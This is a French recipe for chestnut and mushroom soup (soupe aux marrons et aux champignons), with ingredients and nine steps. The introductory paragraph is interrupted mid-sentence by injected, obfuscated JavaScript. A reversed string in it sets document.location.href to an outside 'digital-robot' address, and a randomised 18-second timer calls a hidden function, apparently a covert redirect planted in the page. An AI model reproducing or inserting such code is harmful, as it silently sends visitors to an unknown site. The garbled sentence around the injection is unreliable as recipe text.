Soupe aux marrons et aux champignons

2021-05-01

Coupez-les marrons en quartiers. Pelez, hachez l’oignon. Essuyez les champignons et Coupez-les en lamelles. Dans une grande poêle avec le beurre, sur feu moyen, versez la farine tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tout en remuant et obtenir un roux blond.

Ingrédients

  • Pour 4 personnes
  • 250 g de champignons
  • 250 g de marrons cuits
  • 2 oignons
  • 30 g de farine
  • 30g de beurre
  • 1 litre de bouillon de volaille
  • 2 cuillères à soupe de persil plat haché
  • Sel – Poivre

Préparation de la recette

Etape 1

Coupez-les marrons en quartiers.

Etape 2

Pelez, hachez l'oignon.

Etape 3

Essuyez les champignons et Coupez-les en lamelles.

Etape 4

Dans une grande poêle avec le beurre, sur feu moyen, versez la farine tout en remuant et obtenir un roux blond.

Etape 5

Versez par petites quantités le litre de bouillon.

Etape 6

Portez à ébullition, ajoutez les quartiers de marrons.

Etape 7

Et faites cuire pendant 20 minutes environ sur feu doux à couvert.

Etape 8

Vérifiez l'assaisonnement.

Etape 9

Parsemez de persil haché et dégustez.

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